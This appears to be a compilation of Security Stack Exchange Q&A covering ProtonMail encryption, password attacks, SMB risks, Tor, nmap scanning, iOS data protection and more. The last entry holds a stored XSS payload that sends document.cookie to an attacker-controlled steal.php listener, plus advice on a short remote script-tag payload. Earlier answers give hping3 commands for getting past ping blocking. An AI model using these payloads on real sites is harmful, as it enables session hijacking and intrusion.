Can protonmail access my passwords and hence my secrets? protonmail provides encrypted "zero-access" encryption mailboxes.
The way they explain "zero-access" is, at least for me, similar to zero-knowledge encryption.
However protonmail has in its servers my private keys.
They say that the keys are encrypted as well, but they also have in their servers my password for that encryption.
Therefore, it seems to me that protonmail could at any time access my private keys and my mailbox.

Is this correct, or am I missing something?
Is this the reason why they do not call it zero-knowledge encryption?

Xavier59's answer is correct, in that protonmail uses SRP.  Therefore (under normal circumstances) your password is never sent to protonmail's server.
However, the SRP is implemented in javascript, which is served by protonmail's server.  If protonmail were to be compromised, or if protonmail were to 'go rogue', they could easily serve javascript that captures your password after you enter it, and sends the password back to their servers.  Then, they would have everything necessary to decrypt your private key, and then decrypt your messages.
This is why javascript cryptography is a 'chicken-and-egg' problem.  If you can't trust the server with your secrets, then how can you trust the server to deliver secure code?  See https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2011/august/javascript-cryptography-considered-harmful/ for some good reading on this subject.

Edit 9/24/2020
I sent the following email to security@protonmail.com on 9/21/2020, inviting Protonmail to weigh-in on this subject.  I've not received a response from Protonmail as of yet, but if/when I do, I will update here.

Hello ProtonMail Team,
First off, I’d like to thank you for building ProtonMail.  You’ve
managed to make end-to-end encrypted email as simple to use as
webmail, which is truly groundbreaking.
I am a moderator at security.stackexchange.com, and several questions
have come up recently about ProtonMail (and other services that rely
on in-browser crypto to implement ‘zero-access’ systems), in the
context of the ‘Browser Crypto Chicken-and-Egg Problem’ .
On your page at https://protonmail.com/security-details, it reads,
‘your data is encrypted in a way that makes it inaccessible to us’,
and ‘data is encrypted on the client side using an encryption key that
we do not have access to’.  However, it would seem that if ProtonMail
were to ‘go rogue’ (or if ProtonMail were to be coerced, or if an
attacker were to gain access to ProtonMail’s servers, etc.), it would
be possible for ProtonMail to modify the client-side code served by
Protonmail’s servers, such that the code captures the user’s private
keys or plaintext information, and sends these secrets back to the
server (or somewhere else).  As you may know, this problem was coined
‘The Browser Crypto Chicken-and-Egg Problem’ by security researcher
Thomas Ptecek in 2011.  In other words, if users can’t trust the
server with your secrets, than how can users trust the server to serve
secure crypto code?
Copied below are links to a few questions on
security.stackexchange.com where this subject has come up recently.
Some of these questions (and their ensuing responses) also contain
some interesting ideas around solutions to this problem:
Can protonmail access my passwords and hence my secrets?
Solution to the ‘Browser Crypto Chicken-and-Egg Problem’?
What’s wrong with in-browser cryptography in 2017?
Problems with in Browser Crypto
I’m curious if ProtonMail has any comment on this subject.
Specifically, if ProtonMail were to go rogue, would it be possible for
ProtonMail to access users’ secrets by modifying the client-side code
that you serve?  If so, has ProtonMail considered any solutions to
this problem?  I’d be interested in reading any comments that you have
on this subject – either in a response from you to this email; or
better yet, in a response from you to one of the questions above on
security.stackexchange.com.

Edit 10/20/2020
I received the following reply from the security team at ProtonMail.  For anyone interested in this subject, I recommend watching the video referenced in the reply.

The robustness of ProtonMail’s cryptographic architecture, and whether
or not users can trust it, is something that comes up from time to
time.The discussion around whether or not ProtonMail could access
users’ secrets by modifying the client-side code boils down to two
more fundamental questions:

Are browsers suitable for cryptography?
Can you trust the source
of the software you use?

With regards to the first question, browsers have evolved a lot since
security researcher Thomas Ptecek published his report in 2011.
Currently, browsers expose not only a the systems built-in random
number generator, but the entire Web Crypto API, which means that
cryptography can be done natively, instead of implemented via
JavaScript. ProtonMail does indeed leverage the Web Crypto API instead
of doing cryptography in JavaScript. The second question is more
difficult to answer. It’s a question that is not specific to
ProtonMail, but applies to all software in existence today (including
software which is not downloaded from web browsers). While open-source
code helps provide transparency, testing and verifying whether or not
software has been compromised is not feasible for the average user.
Some people view web browsers to be more susceptible to this problem
(we don’t entirely agree because users don’t really verify the code of
the software they download from e.g. Google Play either), and if that
is the case, one mitigation ProtonMail provides is by offering open
source native applications on all platforms, so you can use the
service without using a web browser if you wish. Long story short, in
today’s software delivery model, be this through the web browser or
via another channel, users need to trust the source and hope that
someone with the necessary skills notices and flags the tampering. We
recognize that this is an issue (not unique to ProtonMail), and are
working on a solution, called Source Code Transparency. The idea is to
publish a hash of the source code which everyone verifies to ensure
that they’re all running the same source code. An independent third
party would then evaluate and assert the integrity of the delivered
software. This process would not only increase everybody’s trust in
the source code, but would also make it much more difficult for us to
attack any specific user (as running an attack would mean all our
users, who run the same source code, would be impacted, and so the
risk of detection is higher). You can find more details at a talk we
gave at FOSDEM (Free and Open source Software Developers’ European
Meeting) earlier this year:
https://archive.fosdem.org/2020/schedule/event/dip_securing_protonmail/
We hope this helps clarify a bit our thoughts on the topic. Thank you
again for reaching out to us.


Regarding Dictionary Attack Since most websites will let user retry their password, lets say 3 times in a row, in case of mistype or forgotten password.
Exceeding the set number of retry the account will be locked or timed out.
If one were to use online dictionary attack to gain access to a certain account, wouldn't that be a very inefficient method? Why would one even want to use dictionary attack? or, perhaps this is my misunderstanding of how dictionary attack is carried out?

A dictionary attack is usually carried out offline, not against an online website, for exactly the reason you raise.  It requires that the password database be compromised and available for offline attacks.
A password spray attack is more common for online resources.  With a password spray, a small number of passwords are tested against a large number of accounts, spreading out the attempts to avoid triggering locked accounts.  This is based on the fact that most accounts lock on X amount of failures within a certain time frame.
Even with a gentle password spray, locking out accounts is a real danger.  Online password attacks are hard!


Is opening a new mysql connection for each query potentially unsafe? I am doing some unit testing and noticed that if I click (or have multiple people clicking) the same filter very very fast (very precise I know;) eventually I get a "The connection is already open." error. I know that one way to solve this is to open new individual connections for each query each time it's called but I wonder if doing so opens my app up to a security risk -perhaps an easier time of a DoS/DDos attack?

Also, the connection is closed once completed.

If this is a risk, how can I (how do others) solve this problem?

It sounds to me like you're running into thread-safety issues.   The fix for this, as you've discovered, is to not re-use connections.

To your question specifically, no, there is no security risk in opening new connections each time you need to connect to the database.  You don't say what technology you're using (besides MySQL) but typically if you're following good coding practices such as only returning the data you need, and closing connections as soon as you're through with them, there should not be any significant increase in the risk of DoS attacks than when you re-use connections, and there may even be less by eliminating the threading issues you're seeing now.   Additionally, if whatever data provider technology you're using offers connection pooling, this can eliminate the performance impacts of creating new database connections almost entirely, making perf a non-issue.

So, yes, you should be spinning up a new database connection each time you need to access the database.  It's the safest option you have.


Is it ethical to use ReCAPTCHA to decode house addresses? I noticed recently that ReCAPTCHA is using house numbers and street numbers as images for humans to decode.

How ethical is it for Google to do this to this? Does it hamper privacy of an individual?

TechCrunch has reported it way back in 2012, and Google had issued a statement,

  We’re currently running an experiment in which characters from Street View images are appearing in CAPTCHAs. We often extract data such as street names and traffic signs from Street View imagery to improve Google Maps with useful information like business addresses and locations. Based on the data and results of these reCaptcha tests, we’ll determine if using imagery might also be an effective way to further refine our tools for fighting machine and bot-related abuse online.

For this to be unethical there would need to be the potential for the information displayed to leak personal information. The numbers shown, while they have a small amount of background, do not show enough context for anyone to glean any extra information.

The privacy issue of the source of these images, ie street view, is much more relevant as it allows anyone in the world to look in your window. Of course, that's public anyway as anyone who walks up your street would be able to see that, although the legalities of it in some places are still disputed.

So no, it does not appear to violate anyone's privacy, and therefore is ethical.


Using Chacha20 with a NULL nonce I am new to ChaCha20. From the RFC --

The inputs to ChaCha20 are:

o  A 256-bit key, treated as a concatenation of eight 32-bit little-
      endian integers.

o  A 96-bit nonce, treated as a concatenation of three 32-bit little-
      endian integers.

o  A 32-bit block count parameter, treated as a 32-bit little-endian
      integer.

Now the counter is not provided as an input option. They implement the counter underneath the hood. For the sake of this question, let's assume the counter is implemented properly.

Now if I use a NULL nonce, the counter is still used. Will it be ok?

Is the max number of messages that can be encrypted this way before the key must be changed 2^32?   or is it the max number of bytes?

A nonce doesn't have to be secret or unpredictable; it just can't be reused. It's perfectly fine to use an all-zero nonce one time with a given key. You just have to make sure you never reuse it, just as with any other nonce value you'd use. To be clear, this means a maximum of one message.


Not receiving beacons for airodump-ng to work I have an AP close enough to me with high signal strength but for some reason I'm not receiving beacons from it. Since I don't have beacons coming in, I cannot perform deauth as well. One thing I'm certain about is that the AP is not hiding itself as I can see its name clearly.

I wanted to know what could be the possible reason behind it. Also what exactly is a beacon? What is it used for and when exactly does an AP send out a beacon? I referred the manual page but it only mentions that an AP sends out 10 beacon per second.

And last but not least, how will the generation of beacons be effected if I set my AP to hide itself?

Beacons:
Beacon frame is one of the management frames in IEEE 802.11 based WLANs. It contains all the information about the network. Beacon frames are transmitted periodically to announce the presence of a wireless LAN.

Your problem may because one of the following:

Your wireless adapter is not on monitor mode
Your wireless adapter doesn't support packet injection "check this for compatible devices
A hardware problem from the AP side. Check the RSS from the AP, it should be around -60 dB in strong signal case.

If you're using a Virtual Machine, be sure to use wireless USB adapter, not the laptop/pc wireless card, because the VM sees it as ethernet adapter and handle it that way.

Hope it helps.


How to prevent a client-side encrypted app from being abused as general storage? The design of the application is simple:

User Input > Serialize as JSON > Client-side Encrypt > Upload to server

The object being stored is structured like this:

type: <type1|type2|type3>
    type_specific_field1: "value1"
    type_specific_field2: "value2"
    type_specific_field3: "a_very_long_value_such_as_image_data"

All that the server sees is an encrypted blob. For privacy reasons, the server is not allowed to even see the type or the field names. The user is allowed to create as many objects as they want, and each object can be large (e.g. 10MB).

The problem then is that a user could store arbitrary data in the encrypted blob, and the server would have no way of verifying if the uploaded data is a valid object or not. They could (ab)use the server as a cloud storage alternative to Dropbox, S3, etc., instead of for its intended purpose.

Ideas for mitigation that I have so far:

Network rate limiting per user/IP address.
Rate limiting number of objects per user.
Requiring proof of work for each object.
Require CAPTCHA input every X object.

Ideas that might work in similar cases but not this one:

"Proof of space" will not work in this case because the client is not expected to keep a copy of the objects they upload.
Requiring payment for each object or unit of storage will also not work in this case because the application is free.

The mitigations I listed definitely help but do not eliminate the possibility of abuse, and each one has detrimental effects for legitimate users.

Is there a way for the client to prove, or the server to verify, that the encrypted blob contains a valid object? Or other cryptographic, network-level, or application-level mitigations you can think of?

If you're allowing to store objects on your server and need to limit the amount of storage per user, you should introduce a per user quota and either deny new uploads or delete older ones. Other things won't work reliably if your encryption is good enough and the users want to misuse your resources.

Without knowing your concrete use case it is hard to give any other advise.

You may want to add to your question why you do not want to limit the number of objects.
Obviously you do want to limit them, but are trying to avoid count the objects / storage space used by the objects but limit them by reducing the rate they can be created.


Security concerns with an ASP.net server error Are there any security problems that could arise from a server error generated by ASP.net and being sent to the user? I am aware of the potential issues from sensitive information being sent in the error message but how severe can this be, and are there any other vulnerabilities because of this?

Disclosure of ASP.NET Server errors is primarily an information disclosure issue

When this happens you are disclosing information about the technology in use.  If it's just the default errors (not the verbose ones) this is pretty limited, if it's the verbose one's you're disclosing stack traces and detailed ASP.NET version numbers.  The impact of this depends on other areas of your site's security.

If everything else is perfect, there's probably not a lot of impact, however where other security issues are present the verbose errors can be very useful to the attacker.  For example where an SQL Injection issue occurs, verbose errors can disclose the exact SQL statement in use, which is very useful to the attacker in exploiting the issue.

So really the exact impact is hard to say without knowing the details of your site, however given the fix is pretty trivial in most cases, I'd always recommend removing these on production sites.  Setting the Deployment Mode to retail is likely the easiest way to achieve this.


Is a compromised SQL Server sa account without a domain login enough to access database? If a SQL Server account with system administrator rights is compromised but there is no access to a domain account, port 1433 is not exposed outside of the corporate firewall and SQL injection is not possible, is a compromise of the SQL Server database possible?

If you have no access to connect to the database, either directly or indirectly, then possession of the 'sa' account credentials on its own is unlikely to be beneficial for attacking the database, as the attacker can't actually make use of them.

However as @paj28 mentions in comments, attackers have a number of ways in that may not depend on an exposed port on the firewall, so if you're asking this question from the perspective of a defender, it could be dangerous to assume that the exposure of the credentials carries no risk.


Internet security demonstration of TLS for laypeople? I'm trying to plan a demonstration for my young students about SSL/TLS and how HTTPS works. Is there any tool around to help my purpose?

The students will be adults who know nothing about Internet Security. Therefore I'm not looking for a deep academic approach to the subject but a general touch of it covering such aspects as, what it is, how it works and why it is important. Instead of just talking and presenting it to them, I would like to know if I could also use a tool or something to demonstrate practically its use.

Do what amounts to be a "magic trick". Set up:

a web server with a basic login page and a file upload feature
a client machine with a web browser for a student to use
a sniffing machine

Get the user to log in with any username and a fake password, make a Word file (or similar) with a message and upload it.

Use the sniffing machine to discover the password and save the Word file and read the message. All of this is scriptable on the sniffing machine.

Then you explain the magic trick, show them the password string in the capture, then turn on TLS and show them the encrypted text.


Opening a saved web page: Is referer file:// sent? https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer

  A Referer header is not sent by browsers if the referring resource is
  a local "file" or "data" URI.

Is this true for all major, modern browsers (Safari, Chrome, Firefox, Explorer)?

Put differently, if you save a web page to your local hard drive, and double click the .html file, can you be 100% certain your local hard drive path is not sent anywhere when the browser requests images, scripts, etc. with absolute http:// paths to servers on the Internet?

(Since the answer seems to be yes, out of curiosity: How does it happen in practice, that browsers implement a security measure like this over the whole line? Does one browser just do it first, and then the others follow because they don't want to be seen with poorer security? Is one particular browser often first with stuff like this? Is it decided by W3C or some committee?)

Your link says it right on the page (emphasis mine):

  A Referer header is not sent by browsers if:

  the referring resource is a local "file" or "data" URI
  an unsecured
  HTTP request is used and the referring page was received with a secure
  protocol (HTTPS).

However, regarding the second point, the referrer-policy response header could cause it to be sent from HTTPS -> HTTP if set to unsafe-url.


Risk of contamination when network discovery is on + file sharing password? We use the Windows 10 file/folder sharing feature to share files between two computers (A and B) that are on the same wifi network. In this network there are several infected computers (computers C).

Computer A and B are on Windows 10 and up to date and Windows firewall is on. Some computers infected are on Windows 7. It's a home network (not work or public network).

To protect the computers lifehacker recommends that we turn off file sharing and network discovery. But without "Network discovery" we can't share the file between A and B...

So we turned on "Network discovery" and protected the files sharing between A and B with a strong password.

Is there still a risk being contaminated by computers C? How?

The current version of Windows File Sharing (SMB v3) includes a number of good security features, but they are not all enabled by default. If you want to ensure your file share uses cryptographic protections (signing and encrypting), you should explicitly check (and enable if needed) those features. See https://docs.microsoft.com/en-us/windows-server/storage/file-server/smb-security for more info (it's written for Windows Server but the commands work on client SKUs too).

Without such protection (end-to-end encryption and signing/MAC), malicious devices can intercept your computers' network traffic by spoofing to each computer that they are the router (which will cause your computer to route all traffic through them, whatever its final destination, allowing the attacker to read and edit the data). This attack is called ARP Spoofing (or ARP Poisoning; ARP stands for Address Routing Protocol and has no inherent security) and most home routers have little if any protection against it.

Additionally, the way Windows authentication over the network usually works is not very secure. While a strong password will stop anybody from accessing the files casually, a knowledgeable and persistent attacker will have no trouble gaining access given a man-in-the-middle position on the network (obtainable via ARP spoofing, as before) and executing a "pass the hash" attack using a challenge obtained from the server and the response generated by the legitimate client in response to this challenge (see here for an explanation of SMB non-interactive authentication; in the absence of a domain controller - as here - the machine acting as the server stores the password hash and uses it to verify the response itself). The attacker could also just try brute-forcing the password, by capturing a challenge and its corresponding response and then guessing passwords and checking their hashes (the hashing algorithm used is weak, and a GPU can computer billions of candidate passwords' hashes per second; checking whether it encrypts the challenge correctly is an additional step but can also be done very quickly). A really, truly good password will resist this for quite some time, though.

There can also be weaknesses in SMB, or in other Windows services or third-party server software that are exposed on such a network, that an attacker could exploit. For example, there was a critical bug in Windows' Terminal Services (remote desktop server) a while ago; if you have RDP enabled and exposed through the firewall, and hadn't patched yet, it could have been used to take over your machine.

Don't forget about interception of other non-encrypted network communication, either! Malicious software with a network position like that can read all unencrypted network traffic, and edit or spoof all non-authenticated traffic. Anything from plain-text HTTP to many multiplayer games could be attacked this way. This of course applies any time you're on an untrusted network (any network that is shared with untrusted devices), regardless of firewall settings, Windows sharing, etc.

Finally, consider that malicious software in such a position can harm you indirectly by abusing your Internet connection. Everything from simply saturating the connection (because the compromised machine is participating in DDoS attacks or similar) to bringing legal trouble down on whoever owns the connection (due to uploading pirated media or other illegal content).

Enough about the risks; what can you do?

First, you can enable the SMB security features, as mentioned above. They're not a panacea, and they will prevent file or printer sharing with older Windows versions or most third-party SMB implementations, but they're generally a good idea and you did say both computers you care about run Win10.

Install patches and updates promptly (and reboot when required). Most of the big Windows worms happened months after a patch was available, exploiting machines that hadn't patched yet.

A much stronger security boundary, however, would be to block the untrusted machines entirely at the firewall. Block rules take precedence over allow rules, so even though you're allowing SMB on the network in general, those particular computers would still be unable to access it. However, reliably identifying specific computers on a network is hard (unless you implement a complicated scheme such as IPSec); computer names, IP addresses, and even MAC addresses are variable and can be changed / spoofed.

If you can, one of the best options would be to isolate your trusted machines from the untrusted ones. Some routers (generally all of the better ones) support multiple
"subnets", which can be isolated from one another; computers on a given subnet can talk to each other, and everybody can reach the Internet (unless you choose to block that too), but devices on one subnet can be prevented from accessing devices on another. This still has the authentication problem, but if you're using WiFi you can have multiple SSIDs (with different passwords) and use a different SSID than your roommates. Assuming your roommates aren't actively trying to compromise your system (via physical, "real-world" actions), and that you use secure passwords, that should be sufficient to prevent any malicious software on their machines from being able to access yours. However, you should also block the untrusted devices from accessing the router's admin console, and install any firmware updates available for the router (home routers in particular are notorious for gaping security flaws).

The only real fix, however, is to either secure the devices in question or kick them off the network entirely. I've written this answer under the assumption that neither of these is a practical option, but it's something you should look hard at. People don't generally want their devices to run malware; can you help your roommates secure their computers? Is there a known infection you can point out to them, with the steps to fix it (even if the fix is "reinstall the operating system, ideally to a version that won't end up unsupported soon")? Lacking that, if you own the network / Internet connection, it's reasonable to have a policy regarding the security of devices connecting to that network.


How does Tor network handle individual sessions? I mean, if I request some site, it goes through big chain of proxies, but how the proxies know where to send it?

I think that it works like : I say get google to proxy 1 -> proxy one tells to get google to proxy 2 -> proxy 2 [and so on]
And on the way back it is reversed. The last proxy knows which proxy ordered the website so it sends it to this and so on. But this seems to me a bit incomplete if it's how it really works.

Am I missing something or am I completely wrong ?

Brief overview:

First, you get a circuit of Tor nodes, let's say 1, 2, 3.

Next, you craft an encrypted packet to node 3, encrypt that in a packet to node 2, then encrypt that in a packet to node 1.

This way, node 1 only knows the next hop is node 2, node 2 only knows the next hop is node 3, and node 3 knows the final destination. Also, 3 only knows about node 2, node 2 only knows about node 1, etc. Node 1 doesn't know the destination and node 3 doesn't know the origin.


opening up Active directory to cloud services? We are testing SPAM/Virus cloud solutions and they can read active directory users and groups to help with users set-up and configuration.  All they need from me is a user name, a password and the port opening up on our firewall.  By giving them a user name and password to access the active directory, what am I opening up on my network? Would the cloud solution be able to read passwords? What exactly can they see? Can I reduce what objects they can see?

Our server is Windows 2008 sbs.

First off, and most importantly, they can NOT see passwords; however, they basically have read-only access to all of the contents of your Active Directory, such as: users, groups, group membership, computer objects, and group policy objects.  Additionally, the cloud solution could install a tool like Adsiedit on their workstation to view attributes in Active Directory that are not available via the standard Active Directory Users and Computers (ADUC) MMC snap-in, such as: last logon of user objects, last password change of user objects, etc.

One risk you are opening yourself up to is a low and slow brute force password attack against your users since the cloud solution will be able to obtain a complete list of usernames.

Since the function of the cloud solution is to have access to your users and groups, you are unfortunately not able to effectively restrict what they have access to.


Credit card form : Is it neccessary to obscure error messages? I'm working on designing a credit card payment form whose core functionality is provided by a payment processing company ("upstream").
Upon some transaction errors the upstream returns the detail (*one kind at a time) of the user-provided data that was wrong, for example "Invalid CVC" and "Invalid expiry year."
With this in regard, I have three questions:

Isn't this behavior susceptible to OAT-010 Card Cracking by exhibiting CWE-204: Observable Response Discrepancy?

Why aren't the error messages obscured like login failures? According to OWASP, an application should respond to authentication failure in a generic manner. Authentication and Error Messages | Authentication - OWASP Cheat Sheet Series

Should I implement a custom error message obscuring the details e.g. "Invalid expiry date or CVC?"

Isn't this behavior susceptible to OAT-010 Card Cracking by exhibiting CWE-204: Observable Response Discrepancy?

Yes, it would be, if you expose the detailed error messages to the end user.

Why aren't the error messages obscured like login failures? According to OWASP, an application should respond to authentication failure in a generic manner.

The application (you) may need to know the error; the end user does not, which is why the application (you) should respond to the user in a generic manner, despite having been given more detail by the processor.
The card processor is giving you details, in case they're necessary.  You are not the end user, you're a trusted partner.  You may need those details to debug individual problems.

Should I implement a custom error message obscuring the details e.g.
"Invalid expiry date or CVC?"

Yes, you should absolutely return (to the end user) a generic error that doesn't indicate which field was incorrect.  And you were right to be concerned about this.


How safe would it be to store encrypted files on an unknown server? This is a theoretical question, basically, if I'd store a file that is encrypted by modern standards on an unknown server, hardware, disk; Would any malicious user be able to crack it?

I was wondering if using encryptions methods could provide a way to create a decentralized web network.

In theory, no — that's essentially the entire point.

In practice this is much more difficult, but simply storing static, encrypted files on a remote machine is actually one of the less error-prone uses of cryptography. There are comparatively fewer avenues of attack than, say, encrypted session protocols or cryptosystems that manage and federate access to multiple users.

Of course, there are ways to complicate this; for instance, Tarsnap stores encrypted backups on a remote server, but uses novel cryptographic tricks to do so while performing aggressive deduplication. Once you start adding complexity like this, the possibilities of a privacy-destroying mistake increase. But if you're using something like GPG with reasonable key lengths, outside of any major breakthroughs in cryptanalysis, you can reasonably expect your data to remain private.


Ping Blocking: How to do? How to break? I can access each page of a site through the browser (firefox). I can also see the ip and port address in firebug, but when I open cmd->ping site ->it says "request timeout".
I also tried traceroute. The trace was something like this
 1. my router
 2. some local-server
 3. server out of state
 4. * * * request timeout
 5. request timeout

But at the same time, I can access the website through the browser.
How do they do this, and how can I break it or get past it?

How to Break
To answer your question about 'how to break' - the easiest way is to use a 'ping' program that uses other protocols than ICMP and/or other options.
hping3 is in Backtrack/Kali (you said you used Backtrack/Kali, but hping3 is available for download), and it allows you to use TCP and UDP pings, and it allows you to use other ICMP types for pings.
TCP ping to port 80:
> hping3 -S xxx.xxx.xxx.xxx -p 80 -c 1

UDP ping to port 53:
> hping3 -2 xxx.xxx.xxx.xxx -p 53 -c 1

ICMP ping using the 'timestamp' type:
> hping3 -1 xxx.xxx.xxx.xxx -C 13 -c 1

Other tutorials for hping here.
Why it works
The typical 'ping' program uses a predefined ICMP echo request. This is very useful for diagnostics, but it is also easy to predict and block. As you can see, there are other ways to get the same functionality of ping by using other protocols and ICMP types.
How do you block?
If you want to block the normal ping program, you block ICMP echo requests at the firewall. But, hping3 uses valid processes in the protocols you need to serve webpages, which means that you can't block it. If you want block even hping, then you would have to block hosts from your firewall, which is likely not something you want to do with a website you want to be publicly accessible. (Actually, there is a way to block the use of hping, but the user of hping would have to use the stock or invalid protocol settings of hping. With more networking knowledge, it would be impossible to block.)
What you need to know
It is important to understand that the issue here was not with your understanding of the tools available, but with your understanding of networking protocols. You will be a better network security person by reading things like TCP/IP Illustrated. By knowing what ping did, and what protocols it used, you would have been able to answer your own question.


Gerenating CSR For Custom SSL On Cloudflare I need to gerenate a Certificate Signing Request (CSR) so I can obtain a wildcard certificate to upload to Cloudflare so I can enforce modern TLS(1.2+).

I'm using AWS for my application and and putting Cloudflare in front of this for extra security. My app in AWS uses certificates from AWS certificate manager which can't be exported. So I bought an SSL from a provider.

Can I generate the a CSR on my local laptop and use that to obtain the cert to upload to Cloudflare or do I need to generate the cert on my AWS loadbalancer? Can I just generate the CSR on my laptop?

The load balancers are likely to be refreshed regularly as they are part of an auto sclaing group so I don't know how I can manage this? I also don't know why it matters where I generate the CSR as I'm going to upload to Cloudflare which is independent of my infrastructure.

Can I just generate the CSR on my laptop?

Yes you can, just make sure to generate and use the private key that the certificate will be paired with (also follow certificate guidelines).

You can generate both the private key and the CSR using openssl (the CSR includes the public key), as according to ACM Private Key Security you will need to generate your key pair yourself if you're importing your own certificate.

At this point you have the CSR, use it to generate your certificate then import your certificate into your ACM (AWS Certificate Manager), after that you need to update the HTTPS listener in your elastic load balancer.

  The load balancers are likely to be refreshed regularly as they are
  part of an auto scaling group so I don't know how I can manage this?

Since you have done your configuration on the ACM, the ACM should take care of default launch settings for your newly launched instances.


How to protect ourself to divulge information In the film Citizenfour, around the 33:33 mark, Edward Snowden said

  I mean, you could literally shoot me or torture me, and I could not disclose the password if I wanted to.
  Um... You know, I have the sophistication to do that

How can it be possible ?

Any setup where you actually don't know the passwords works to achieve this. The most commonly used way is to have a password manager like LastPass, 1Password or KeePass which generates long random passwords for each unique service and store them in an encrypted file.

Of course this encrypted file requires a password but it also requires the attacker to have the password file which, as mentioned in the comments, could be destroyed or securely hidden.


Firebase ports scanning using nmap Purely for research purposes used nmap to check security of my application deployed to Firebase. However, there some questions which I can't understand:

Why Firebase has open so many ports? Something like few hundreds.
Almost on every port I'm getting an error auth-owners: ERROR: Script execution failed without any information about it. Why is that? The only one which gives some information are the following ports: 80, 443, 5269, and 65389.
Is TCP Sequence Prediction difficulty=17 and Network Distance 2 hops a good or bad result?
What means ssl-date: TLS randomness does not represent time?
What means IP ID Sequence Generation: Incremental?
What are Aggressive OS guesses?
I could see the open few hundreds of ports only after first scan, later on couldn't replicate this. Is it possible that Firebase/Google closed the ports or blocked me for some of them? In second scan and every other I could see only information about open ports 80, and 443 with a log "Not shown: 998 filtered ports".
I did test this on Kali Linux using VirtualBox. In the nmap output I can see Running: Oracle Virtualbox, OS CPE: cpe:/o:oracle:virtualbox, OS details: Oracle Virtualbox, is it about my system or the scanned website hsoted on Firebase?

Even answers for some of this questions would be already really appreciated!

Edit: I did use the following command nmap -v -A MYAPP.firebaseapp.com (for the first time and later on), also once tried nmap -v -A -sS MYAPP.firebaseapp.com, which gave the same results as second and each next nmap -v -A MYAPP.firebaseapp.com. Only nmap -v -A MYAPP.firebaseapp.com gave at the beginning a different output, i.e. few hundreds of open ports.

Edit2: Using db_nmap -v -sV MYAPP.firebaseapp.com was able to see the few hundreds (more precisely 1000) open ports doing one-by-one from Metasplot Framework's terminal. So there was no block. The command nmap -v -A MYAPP.firebaseapp.com also works now one-by-one. Don't know what was the problem.

I will try my best:

There is a chance that this firebase server is having other services available aswell on the system, that's why many ports show up.
This is output from a script which tries to guess under which username was the service ran.

For 3-5 please refer to NMAP manual.

NMAP by default uses few tricks to determine what remote operating system could be; using packet analyzing such as checking TTL value, opened ports and overall 'behaviour' it tries to guess the remote OS. Aggresive OS Guess is just a risky guess, means there is a chance that the system is XXX, but some of the tricks failed so the guess is not 100% sure.
Could be that You used different scan options. Posting full scan command which You've used would be nice to understand why You recieve X and not Y results.
This indicates that remote host identifies as Oracle Virtualbox. It looks like You have scanned Your own system somehow.

Without scan command being posted, it would be pretty hard to know i.e. answer for open/filtered ports.

EDIT 17.06.2019:

Here some quick review of used argument options in Your scans

-A: Enables OS detection and Version detection, Script scanning and Traceroute
 -v Enables verbose output
 -sS Enables stealth SYN scan (sends raw SYN and waits for SYN-ACK to report open)

There might be possibility that remote server might just drop incomplete TCP handshake (as stealth SYN scan never completes it and stops sending any packets once SYN-ACK or RST received), while it's fine with completed handshakes (default scan option You've used many times is CONNECT scan, means full TCP handshake) - hence different ports are being reported to be open.


Database Pentest methodology or list? I am looking for a practical database pentest methodology (database level test). I checked the Internet but there is no much info. Where I should start and on which areas (step by step) should I focus when I define the scope?

Following could be the high level steps in Penetration Test of DB level:

• Information Gathering

• Enumeration

• SQL Injection in MSSQL

• Injection in Stored Procedures

• SYSTEM Level Attack

• Exploiting Known MySQL Issues

• Hash Cracking

• TNS Listener

• PL/SQL Injection

• Authentication/Authorization vulnerability

Further you may refer below link for the detail technical details of DB level pen test:

http://www.spy-hunter.com/Database_Pen_Testing_ISSA_March_25_V2.pdf


What iOS apps use data protection? The iOS data protection API and its implementation are fairly well documented, but it is only really useful if apps actually use some level other than NSFileProtectionNone for their files.

Is there any information on what protection level the stock iOS apps use for various data? Apple mentions that the Mail app uses the "Protected Unless Open" class for attachments downloaded in the background and stores and stores messages protected with NSFileProtectionComplete, but says nothing about other data like contacts, photos etc.

What about third-party developers; is there any research on how common the use of data protection is with popular apps? For iOS 7, Apple mentions that "[a]ll third-party apps now have data protection enabled automatically", but I wonder if that applies to "legacy" apps as well, and if some even actively disable the protection.

You can check the implemented data protection of any application yourself.
on a jailbroken phone use cycript to attach to SpringBoard (or any other process)
eg:

cycript -p SpringBoard

and run the following script inside:

A cycript script to list the FileProtection class of every file in a given path

?expand

var path=@"/var/mobile/Library/Preferences/";
var fm = [ NSFileManager defaultManager ];
fin = [ fm enumeratorAtPath:path ];
ps= [] ;
while (name=[fin nextObject] )
{
 fPath=path+name;
 pClass=[[ fm attributesOfItemAtPath:fPath error:nil ] objectForKey:@"NSFileProtectionKey" ]
 pName=name
 ps.push(""+pName+":"+pClass+"")
 }
 ps.toString().replace(/,/g,"\n");

on a 5.1.1 iOS i got these results for Stocks application and for youtube application:

com.apple.stocks.plist:NSFileProtectionNone
com.apple.youtube.dp.plist:NSFileProtectionComplete

On a 6.1.2 iOS device things didn't look different:

com.apple.stocks.plist:NSFileProtectionNone
com.apple.youtube.dp.plist:NSFileProtectionComplete

you can try running it on your device and see what has changed on other versions

@_coreDump


Stored XSS Cookie Stealing - shortest payload I'm testing a web app (for which I have permissions) and I found a stored XSS vulnerability.
It is a little bit tricky to exploit because the input:

is being capitalized
it has a length constraint of 61 characters (every char over the 61th is being replaced with a .)

If I just insert for example <input oncut=alert(1)>, the payload is transformed to <input oncut=ALERT(1)> and it is not triggered.
To bypass the first problem, I'm using HTML entities, so I'm able to trigger an alert with the following payload:
<input oncut=&#x61;&#x6C;&#x65;&#x72;&#x74;(1)>

I want to show the real impact of the vulnerability and perform a cookie stealing and inject something like (I have a listener on my machine waiting for my php script to grab the cookies. ):
<div onmouseover="new Image().src='http://xx.xxx.xxx.xxx:port/steal.php?c='+escape(document.cookie)>

But this payload is not working as everything after the 61th character is being replaced with a ., and words like http and new Image need to be encoded to avoid the capitalization.
Do you have any suggestion for a payload able to bypass the mentioned constraints?

I don't know about shortest but may I suggest <SCRIPT SRC="//X.YZ/ABC">? Unless there's CSP (which should block your exploit anyhow), injecting a script tag is a great way to exploit stored XSS. Through protocol-relative URLs and URL shorteners, you can get a very short URL that points to your script directly (or just to the root of your domain, which will serve / redirect to a script). No portion of a script tag needs to be lower-case (I'm not sure if it's strictly standards-compliant but I doubt any browser will care). The script can, of course, be of arbitrary length and characters, and can run wild with the full power of the origin it's running on (including stuff like XHR back to your server with the cookies in the URL or body).


